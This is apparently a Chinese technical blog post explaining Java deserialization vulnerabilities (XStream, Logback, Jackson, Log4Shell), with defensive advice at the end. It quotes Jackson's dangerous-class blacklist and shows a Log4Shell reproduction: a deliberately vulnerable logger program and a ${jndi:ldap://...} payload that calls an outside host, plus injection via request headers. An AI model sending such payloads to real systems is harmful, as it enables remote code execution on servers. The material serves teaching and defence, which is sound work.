Java 中的序列化安全漏洞梳理(二)

  • XML

  • XML 的反序列化攻击和 JSON 差不多,都是控制反序列化的 XML 字符串,传入恶意数据来攻击,但利用的点又有区别

  • 拿去年公司要求修复的 XStream 漏洞【CVE-2021-21344】来说,要想理解相关漏洞,就需要先了解 XStream 自身的反序列化机制

  • XStream 在进行反序列化时,会要求类库调用者显式指定反序列化的类:xstream.allowTypes(new Class[] { Xxxx.class }),这样避免了 JSON 里通常利用的攻击点

  • XStream 反序列化是通过 converter 来进行的,不同类型的数据使用不同的 converter,所以攻击点一般也在这里。另外和 JSON 不同,XStream 不需要服务端启用 enableDefaultType 才可以在 XML 里携带 class 信息,相反,XStream 里的 class 信息是默认允许添加有的,这样攻击者就可以构造恶意数据来攻击了

  • 可以看出,XML 的漏洞利用门槛要比 JSON 低很多。另外一般官方的修复也和 JSON 库一样采用黑名单机制,哪个类出问题就把哪个类加到黑名单里

  • 具体流程待补充

序列化漏洞举例
  • 以近期公司要求修复的【Logback 远程代码执行漏洞(CVE-2021-42550)】为例

  • 这个漏洞就是一个 JNDI 注入漏洞,之所以会发生,是因为 Logback 支持通过 JNDI 查询来从外部获取日志配置信息,比如数据库或其他集中管理平台

  • Logback 对返回的数据校验不足。如果攻击者修改了 logback 的配置文件,将 JNDI 地址配置成了恶意地址,就有可能导致应用里反序列化恶意对象,从而执行恶意方法

  • 从上面可以看到,这个漏洞要求攻击者有主机文件的写权限,所以虽然这个漏洞在公司内部被标记为高危,其实影响并不大。如果攻击者有写权限,那也说明这个主机沦陷了,那他也可以直接执行命令

  • 之所以一般还是推荐修复,一个是公司安全政策,另一个就是漏洞的累积效应。每个漏洞单独看起来可能没有问题,但多个漏洞累积起来可能就会造成威胁

  • 拿本漏洞来说,单独看问题不大,但也可能被用来提权。比如开发 A 有写入logback.xml 的权限,应用是在运维 B 的权限下运行。攻击者获取了 A 的权限后,就可以让有 B 权限的应用执行命令来提权,从而让攻击者获取 B 的权限。这个场景只是人为制造来说说明问题,并不代表实际是这样的,所以容易修复最好修复,不容易修复具体问题就具体评估

  • 具体到这个漏洞,官方的修复代码如下。可以看到修复方案就是直接把 logback 里 JNDI 的lookup 给注释掉,其实就相当于废弃了 JNDI 功能,不过 logback 里用 JNDI 本来就特殊,升级到新版本的话估计影响不大

  • 以近期公司要求修复的【Jackson-databind 反序列化漏洞(CVE-2021-20190)】为例

  • 这个反序列化漏洞在上一节 JSON 里已经解释的很清楚了,只不过该漏洞用的不是 JdbcRowSetImpl ,而是 javax.swing.JTextPane

  • 注意,这里并不是说应用代码里没有用到 javax.swing.JTextPane ,就不会收到影响,而是说如果 Jackson 代码里允许了 enableDefaultTyping,只要依赖里有javax.swing.JTextPane ,就会受到攻击,而这是 JDK 里的类库,所以一般应用依赖里都有,除非用了 Java 的模块化排除

  • 官方的修复方案也很简单,就是在自己的黑名单里把这个类给加上了

  • 反序列化黑名单

  • 要利用反序列化漏洞,一个关键点是被攻击的应用里要有一个可利用的危险类。下面是 Jackson 类库里的黑名单列表

  • 从 Jackson 类库的黑名单列表里可以看出,这些危险的类可能是第三方依赖库,也有可能是 JDK 里的。说这些类危险,并不是说这些类本身存在着反序列化漏洞,而是说这些类本身会做反射的 invoke()、序列化的 resovleClass()、readObject()等等,同时这些类的这些操作有被攻击者恶意利用的危险

  • 很多类库通过把这些类加入黑名单来防止反序列化攻击。当攻击者控制了反序列化的数据后,一般会在反序列化数据里指定这些危险类并构造对应的攻击数据,然后发送给被攻击侧应用进行攻击。Jackson 等类库在反序列化这些数据时,先判断要反序列化的类在不在黑名单,从而有效阻止这些攻击

  • 黑名单的局限还是挺明显的。它只能发现一个攻击类处理一个攻击类,这样就一直处在应对状态。如果用白名单效果要好很多,也就是说我们定义一个列表,只允许列表内的数据进行反序列化。但第三方框架不可能知道应用要序列化的白名单列表,而应用自行维护白名单的工作量明显要高很多,因此黑名单还是主流应对方案

    /**     * Set of well-known "nasty classes", deserialization of which is considered dangerous     * and should (and is) prevented by default.     */    protected final static Set<String> DEFAULT_NO_DESER_CLASS_NAMES;    static {        Set<String> s = new HashSet<String>();        // Courtesy of [https://github.com/kantega/notsoserial]:        // (and wrt [databind#1599])        s.add("org.apache.commons.collections.functors.InvokerTransformer");        s.add("org.apache.commons.collections.functors.InstantiateTransformer");        s.add("org.apache.commons.collections4.functors.InvokerTransformer");        s.add("org.apache.commons.collections4.functors.InstantiateTransformer");        s.add("org.codehaus.groovy.runtime.ConvertedClosure");        s.add("org.codehaus.groovy.runtime.MethodClosure");        s.add("org.springframework.beans.factory.ObjectFactory");        s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");        s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");        // [databind#1680]: may or may not be problem, take no chance        s.add("com.sun.rowset.JdbcRowSetImpl");        // [databind#1737]; JDK provided        s.add("java.util.logging.FileHandler");        s.add("java.rmi.server.UnicastRemoteObject");        // [databind#1737]; 3rd party//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]        s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");        // [databind#2680]        s.add("org.springframework.aop.config.MethodLocatingFactoryBean");        s.add("org.springframework.beans.factory.config.BeanReferenceFactoryBean");
// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -        // [databind#1855]: more 3rd party        s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");        s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");        // [databind#1899]: more 3rd party        s.add("org.hibernate.jmx.StatisticsService");        s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");        // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities        s.add("org.apache.ibatis.parsing.XPathParser");
        // [databind#2052]: Jodd-db, with jndi/ldap lookup        s.add("jodd.db.connection.DataSourceConnectionProvider");
        // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup        s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");        s.add("oracle.jdbc.rowset.OracleJDBCRowSet");
        // [databind#2097]: some 3rd party, one JDK-bundled        s.add("org.slf4j.ext.EventData");        s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");        s.add("com.sun.deploy.security.ruleset.DRSHelper");        s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
        // [databind#2186], [databind#2670]: yet more 3rd party gadgets        s.add("org.jboss.util.propertyeditor.DocumentEditor");        s.add("org.apache.openjpa.ee.RegistryManagedRuntime");        s.add("org.apache.openjpa.ee.JNDIManagedRuntime");        s.add("org.apache.openjpa.ee.WASRegistryManagedRuntime"); // [#2670] addition        s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");
        // [databind#2326] (2.9.9)        s.add("com.mysql.cj.jdbc.admin.MiniAdmin");
        // [databind#2334]: logback-core (2.9.9.1)        s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");
        // [databind#2341]: jdom/jdom2 (2.9.9.1)        s.add("org.jdom.transform.XSLTransformer");        s.add("org.jdom2.transform.XSLTransformer");
        // [databind#2387], [databind#2460]: EHCache        s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");        s.add("net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup");
        // [databind#2389]: logback/jndi        s.add("ch.qos.logback.core.db.JNDIConnectionSource");
        // [databind#2410]: HikariCP/metricRegistry config        s.add("com.zaxxer.hikari.HikariConfig");        // [databind#2449]: and sub-class thereof        s.add("com.zaxxer.hikari.HikariDataSource");
        // [databind#2420]: CXF/JAX-RS provider/XSLT        s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");
        // [databind#2462]: commons-configuration / -2        s.add("org.apache.commons.configuration.JNDIConfiguration");        s.add("org.apache.commons.configuration2.JNDIConfiguration");
        // [databind#2469]: xalan        s.add("org.apache.xalan.lib.sql.JNDIConnectionPool");        // [databind#2704]: xalan2        s.add("com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool");
        // [databind#2478]: comons-dbcp, p6spy        s.add("org.apache.commons.dbcp.datasources.PerUserPoolDataSource");        s.add("org.apache.commons.dbcp.datasources.SharedPoolDataSource");        s.add("com.p6spy.engine.spy.P6DataSource");
        // [databind#2498]: log4j-extras (1.2)        s.add("org.apache.log4j.receivers.db.DriverManagerConnectionSource");        s.add("org.apache.log4j.receivers.db.JNDIConnectionSource");
        // [databind#2526]: some more ehcache        s.add("net.sf.ehcache.transaction.manager.selector.GenericJndiSelector");        s.add("net.sf.ehcache.transaction.manager.selector.GlassfishSelector");
        // [databind#2620]: xbean-reflect        s.add("org.apache.xbean.propertyeditor.JndiConverter");
        // [databind#2631]: shaded hikari-config        s.add("org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig");
        // [databind#2634]: ibatis-sqlmap, anteros-core/-dbcp        s.add("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig");        s.add("br.com.anteros.dbcp.AnterosDBCPConfig");        // [databind#2814]: anteros-dbcp        s.add("br.com.anteros.dbcp.AnterosDBCPDataSource");
        // [databind#2642][databind#2854]: javax.swing (jdk)        s.add("javax.swing.JEditorPane");        s.add("javax.swing.JTextPane");
        // [databind#2648], [databind#2653]: shire-core        s.add("org.apache.shiro.realm.jndi.JndiRealmFactory");        s.add("org.apache.shiro.jndi.JndiObjectFactory");
        // [databind#2658]: ignite-jta (, quartz-core)        s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup");        s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory");        s.add("org.quartz.utils.JNDIConnectionProvider");
        // [databind#2659]: aries.transaction.jms        s.add("org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory");        s.add("org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory");
        // [databind#2660]: caucho-quercus        s.add("com.caucho.config.types.ResourceRef");
        // [databind#2662]: aoju/bus-proxy        s.add("org.aoju.bus.proxy.provider.RmiProvider");        s.add("org.aoju.bus.proxy.provider.remoting.RmiProvider");
        // [databind#2664]: activemq-core, activemq-pool, activemq-pool-jms
        s.add("org.apache.activemq.ActiveMQConnectionFactory"); // core        s.add("org.apache.activemq.ActiveMQXAConnectionFactory");        s.add("org.apache.activemq.spring.ActiveMQConnectionFactory");        s.add("org.apache.activemq.spring.ActiveMQXAConnectionFactory");        s.add("org.apache.activemq.pool.JcaPooledConnectionFactory"); // pool        s.add("org.apache.activemq.pool.PooledConnectionFactory");        s.add("org.apache.activemq.pool.XaPooledConnectionFactory");        s.add("org.apache.activemq.jms.pool.XaPooledConnectionFactory"); // pool-jms        s.add("org.apache.activemq.jms.pool.JcaPooledConnectionFactory");                // [databind#2666]: apache/commons-jms        s.add("org.apache.commons.proxy.provider.remoting.RmiProvider");
        // [databind#2682]: commons-jelly        s.add("org.apache.commons.jelly.impl.Embedded");
        // [databind#2688]: apache/drill        s.add("oadd.org.apache.xalan.lib.sql.JNDIConnectionPool");
        // [databind#2698]: weblogic w/ oracle/aq-jms        // (note: dependency not available via Maven Central, but as part of        // weblogic installation, possibly fairly old version(s))        s.add("oracle.jms.AQjmsQueueConnectionFactory");        s.add("oracle.jms.AQjmsXATopicConnectionFactory");        s.add("oracle.jms.AQjmsTopicConnectionFactory");        s.add("oracle.jms.AQjmsXAQueueConnectionFactory");        s.add("oracle.jms.AQjmsXAConnectionFactory");
        // [databind#2764]: org.jsecurity:        s.add("org.jsecurity.realm.jndi.JndiRealmFactory");
        // [databind#2798]: com.pastdev.httpcomponents:        s.add("com.pastdev.httpcomponents.configuration.JndiConfiguration");
        // [databind#2826], [databind#2827]        s.add("com.nqadmin.rowset.JdbcRowSetImpl");        s.add("org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl");
        DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);    }

复制代码

  • 以上次修复的 XStream 远程代码执行反序列化漏洞【CVE-2021-29505】为例

  • 待补充

log4j Shell 序列化漏洞攻击过程复现
  • 我们以前段时间火遍全网的 Log4Shell 漏洞为例,一步步复现一下攻击过程和原理,从而对上面的理论说明做一个更深入的理解

  • Log4Shell 虽然也是一个 JNDI 漏洞,但它的特殊之处在于,利用门槛要远远低于一般的 JNDI 漏洞,所以危害很大,危险等级被 Apache 定为最高的 10 级。这个漏洞的利用门槛包括:

  • JDK 版本:这个漏洞无论 JDK 版本是多少都能不能拦截

  • log4j:版本参考漏洞说明

  • 服务器:会基于 log4j 来记录用户传入的数据,有出访网络权限

  • 利用原理

  • 除了正常的日志记录,log4j 还支持占位符模式。比如我们可以在配置模板里写 ${date:yyyy-MM-dd},那么 Log4j 在写实际日志时会将当前日期替换为形如 2022-03-21 这种格式记录下来。如果在模板里写 ${java:version},Log4j 就会获取实际的 JDK 版本将其记录下来

  • 除了这些常规的,Log4j 还支持更复杂 JNDI 模式。如果实际生成日志是遇到 ${jndi:xxx://ip:port/a} 这种模式,log4j 会真的执行 JNDI 查询,获取对应的数据,然后写入日志,这很明显有很大的问题

  • 对一个应用来说,在日志里记录用户的搜索关键字、登录用户名等等很平常,如果用户把这个登录用户名、搜索关键字替换成 jndi 地址,当服务器记录时,就会执行 JNDI 查询,从而导致系统被攻击,qq 邮箱的搜索框、icloud 的用户名都是这样被攻击的

  • 另外需要注意的是,只要日志里记录外部传输的恶意数据,就有可能会导致攻击,并不仅限于用户输入,比如说很多系统会采集参数、或者请求头,攻击者可以简单用个 api,请求参数里随便写,只要参数里携带${jndi:xxx} 就会造成威胁。因为数据校验之前,请求参数已经写入系统日志里了。或者随便加个请求头 cuostomXxxHeader: ${jndi:xxx},也能有一样的效果

  • 这里一个重要的利用点是服务器的出访请求,这样攻击者才能让服务器下载自己的恶意脚本。一般服务器即使没有公网访出权限,也有内网访出权限,所以即使有公网出访限制,这个漏洞还是有一定的威胁,应该也要升级版本,以预防内网某台机器有问题导致所有机器都都有问题的情形

  • 漏洞复现

  • 网上有很多 log4j Shell 的 POC 代码,按说明就可以很方便的复现这个漏洞

  • 我们这里的复现做了简化,下面是一个单文件运行示例,依赖了 2.14.1 版本的 log4j,然后从命令行读取参数,用 log4j 记录

  • 运行java Log4jShellAttack chendw,就会输出 “hello: chendw”,这是正常流程

  • 如果运行占位符,比如 java Log4jShellAttack ${java:version},log4j 会将占位符替换,输出对应的本机 Java 版本

  • 更危险的是,我们可以传入 jndi 服务器路径,让 log4j 来下载对应的恶意代码。这里我们使用“log4shell.tools”网站提供的 ldap 服务来验证。当然你也可以自己本地部署一个 ldap 服务,或者 rmi 服务,或者其他任何 jndi 支持的协议

  • 在“log4shell.tools”网站上获取一个自己特定的 url 作为参数传入 log4j,如果 log4j 去做了 lookup,该网站就会收到应用本机发的请求,从而下发对应的恶意服务,并将请求记录展现出来:java Log4jShellAttack ${jndi:ldap://5bb26e33-4b30-4080-a3d2-5522a5b97d3b.dns.log4shell.tools:12345/5bb26e33-4b30-4080-a3d2-5522a5b97d3b}

  • 从截图可以看出来,代码运行后输出的是hello :Reference Class Name: Log4Shell ,说明 log4j 执行了 lookup 并获取了 ldap 恶意类,“log4shell.tools”也显示了我们应用向它发起过请求

  • 另外,代码里之所以要设置 trustURLCodebase 是因为最新版 Java 现在禁止自动信任 RMI 和 LADP 下载的远程类,但现在用的大部分 JDK 都还是自动信任的。另外,这个禁止只是防止了在这个漏洞里使用 rmi 和 ladp 来下载恶意类,我们还可以利用其它方式来利用这个漏洞。因此这个漏洞并不能靠升级 JDK 版本来解决,一定要升级 log4j 版本

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Log4jShellAttack {    private static final Logger logger = LogManager.getLogger(Log4jShellAttack.class);;    public static void main(String[] args) {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        String username = args[0];        logger.error("hello :" + username);    }}

复制代码

  • 分析了这个漏洞后,首先想到的就是 Unix 哲学里推崇的“Write programs that do one thing and do it well.”还是很有道理的。JNID 这个功能点在日志框架里被用到的几率感觉极其小,logback 注掉了 JNDI 功能,也没看到网上有人反馈升级后用不了。不怎么用的功能却带来了大部分问题,而且影响的还包括没使用这个功能点的用户,这就得不偿失了。日志框架应该只专注常规功能,特有功能的话应该通过插件来提供,谁用谁配置。Java 其实也有向这个趋势发展,比如 Java 模块化系统,用什么显式配置什么,我不用javax.swing,就不会经常受到swing 包里那些类的影响

Java 序列化的改进
  • Java 引入序列化功能的时间太长了,太多应用和库依赖于 Java 现有的序列化功能,因此废弃现有序列化机制是不可想象的

  • Java 应对自身序列化问题的主要方法是,提供一个只序列化数据而不需要序列化对象状态的渠道。具体来说就是 java16 引入的 recordrecord 引入虽然主要是为了减少模板代码,但同时也提供了一个新的序列化机制。在新的序列化机制下,record 的序列化是通过构造器初始化,然后走访问器 get/set,当然这个机制主要是针对数据类,但我们实际开发中的大部分场景,不管是 api 接口数据、前后端数据交互、缓存数据存储,和序列化相关的其实大部分都是数据类。因此感觉record 已经能满足我们大部分序列化需求了

  • 针对非数据类,Java 计划提供注解或其他方式,来让我们自己控制序列化和反序列化,但这种工作量明显更大,而现存的 Externalizable 在某种程度上也能实现这个功能,但效果还是差强人意

  • Java9(JEP 290)还引入了一个全局的反序列化过滤器,这样你就可以在反序列化之前验证传入的数据流,但对复杂场景来说这个过滤器有其局限性,后来 JEP 415 又提供了过滤器工厂来尝试完全解决这个局限性,让我们的过滤器可配置并在 JVM 范围内起作用,但用的人好像很少

  • 综上,感觉实际开发中 Java 的序列化还是用record 比较好

如何避免 Java 序列化漏洞
  • 不反序列化不信任的外部数据,至少在反序列化外部输入数据时要想一下

  • 在反序列化的时候尽量使用具体类,不要使用 Object 或太通用的基础接口:objectMapper.readValue(json, Object.class);

  • 使用 Jackson 时不要启动enableDefaultType 功能

  • 更新到最新的库

  • 做出访限制:很多攻击都依赖于服务器对外访问,来下载恶意脚本,或向外发送本地数据。出访白名单能限制大部分的漏洞攻击

  • 13
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值